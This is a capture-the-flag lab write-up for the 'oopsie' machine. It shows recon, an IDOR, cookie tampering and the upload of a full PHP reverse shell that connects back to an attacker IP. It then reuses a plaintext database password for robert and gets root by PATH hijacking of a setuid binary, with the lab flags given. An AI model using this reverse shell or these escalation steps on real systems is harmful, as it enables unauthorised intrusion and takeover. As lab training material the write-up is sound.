TL;DR
We exploit IDOR and achieve admin password, then we upload webshell to the server as admin. we find robert’s password inside db.php and then escalate to root using vulnerability in /usr/bin/bugtracker.
Recon
We start with nmap, using this command:
nmap -p- -sVC --min-rate=10000 $target

As you can see, there are two ports, port 22 for ssh and port 80 for http server, in this case apache server.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Using gobuster to find hidden endpoints
First we start with gobuster, to check for common files and folders, using this command:
gobuster dir -u http://$target/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Then, we start to manual crawling, and inspect the sitemap using Burp suite.

As we can see, it detects the path /cdn-cgi/login/, let’s check what we can find there.

IDOR to achieve admin credentials
We can change the id in the url http://10.129.138.30/cdn-cgi/login/admin.php?content=accounts&id=2 and achieving IDOR, and by this way getting teh Access ID of the admin, which is 34322.

When going to uploads, we can see we need to be admin. we can easily change the cookie to get admin access, just change it to 34322, the access id we achieved earlier.

Upload webshell as an admin
Okay, we want to upload webshell, we can find the file in /usr/share/webshells/php/php-reverse-shell.php, which is reverse shell that created by monkey pentesting.
We just need to change the port and the ip, here is the full webshell:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.15.30'; // CHANGE THIS
$port = 770; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
We need to find however the location of the uploaded shell, luckily the gobuster tells us that there is an uploads folder, maybe the uploaded php file will be there.

So, after uploading the php-reverse-shell.php we achieve the desired reverse shell.

Now, let just paste the commands to make the shell more nice:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo
stty rows 38 columns 116
moving vertical to robert
We can check the /etc/passwd file and see there is another user which is called robert, we want to be robert:
robert:x:1000:1000:robert:/home/robert:/bin/bash
We’ll check for the location of the website, maybe they have some credentials.
The files will be in /var/www/html/cdn-cgi/login, These are the files i found.
www-data@oopsie:/var/www/html/cdn-cgi/login$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Jul 28 2021 .
drwxr-xr-x 3 root root 4096 Jul 28 2021 ..
-rw-r--r-- 1 root root 6361 Apr 15 2021 admin.php
-rw-r--r-- 1 root root 80 Jan 24 2020 db.php
-rw-r--r-- 1 root root 5349 Apr 15 2021 index.php
-rw-r--r-- 1 root root 0 Jan 24 2020 script.js
After some sniffing, we find this line inside the db.php file
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
We try to connect and check for some useful data in the mysql server, using this command, and supplying the password M3g4C0rpUs3r!:
mysql -u robert -p
We can’t find anything interesting.

Okay, let’s try another path, maybe robert reuses his passwords, let’s try to change to robert using su robert, using the password M3g4C0rpUs3r!. it worked!

Let’s grab the user flag from user.txt, using this command:
cat /home/robert/user.txt
and we get this:
f2c74ee8db7983851ab2a96a44eb7981
Moving to root
We first run the id to view what are the privilages of robert:
robert@oopsie:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Okay, robert is in bugtracker group, let’s check if there are some executable files of this group:
robert@oopsie:~$ find / -group bugtracker 2>/dev/null
/usr/bin/bugtracker
let’s check what is exactly this file, what is /usr/bin/bugtracker:
robert@oopsie:~$ ls -l /usr/bin/bugtracker && file /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
/usr/bin/bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped
This is an executable file, with the setuid flag on.
We execute /usr/bin/bugtracker with ltrace, using this command:
ltrace /usr/bin/bugtracker

As we can see, it asks for some string, and then executes:
system("cat $user_input");
this is very interesting, we can exploit this to make our own cat file, change the $PATH variable, and then achieve root shell!
We can do it because it doesn’t use /bin/cat.
robert@oopsie:~$ cd /tmp
robert@oopsie:/tmp$ echo "/bin/bash" > cat
robert@oopsie:/tmp$ export PATH=/tmp:$PATH
robert@oopsie:/tmp$ /usr/bin/bugtracker

We made it, now we only need to read the flag from /root/root.txt. remember we touched the $PATH variable, so we can use this command:
/bin/cat /root/root.txt

User Flag:f2c74ee8db7983851ab2a96a44eb7981
Root Flag:af13b0bee69f8a877c3faf667f7beacf